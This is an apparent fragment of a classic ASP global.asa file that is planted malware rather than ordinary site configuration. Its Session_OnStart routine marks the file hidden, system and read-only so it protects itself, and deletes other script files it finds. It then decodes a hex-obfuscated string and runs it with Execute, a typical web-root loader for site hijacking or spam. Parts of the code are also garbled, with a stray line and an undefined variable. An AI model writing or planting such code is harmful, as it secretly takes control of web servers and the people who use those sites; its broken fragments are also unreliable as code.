If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then
CheckRefresh = True
Exit For
End If
Next
End Function
sub Session_OnStart
On Error Resume Next
.servervariables("Path_Translated")
Set s=Server.CreateObject("scripting.filesystemobject")
set f=s.Getfile("//./" & Server.MapPath("/global.asa"))
v=Request.Form&Request.QueryString
if instr(v,".asa")>0 then
f.Attributes=39
response.end()
end if
if instr(name,";")>0 OR instr(server.MapPath("."),".as")>0 then
s.Getfile(name).Attributes=0
s.DeleteFile(name)
f.Attributes=39
response.end()
end if
S="636e6e62643d6c6361736528726571756573742e736572766572:O="":For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute("o=o&chr(&H"&c&")"):Else:Execute("o=o&chr(&H"&c&Mid(s,i+2,2)&")"):i=i+2:End If:Next:execute o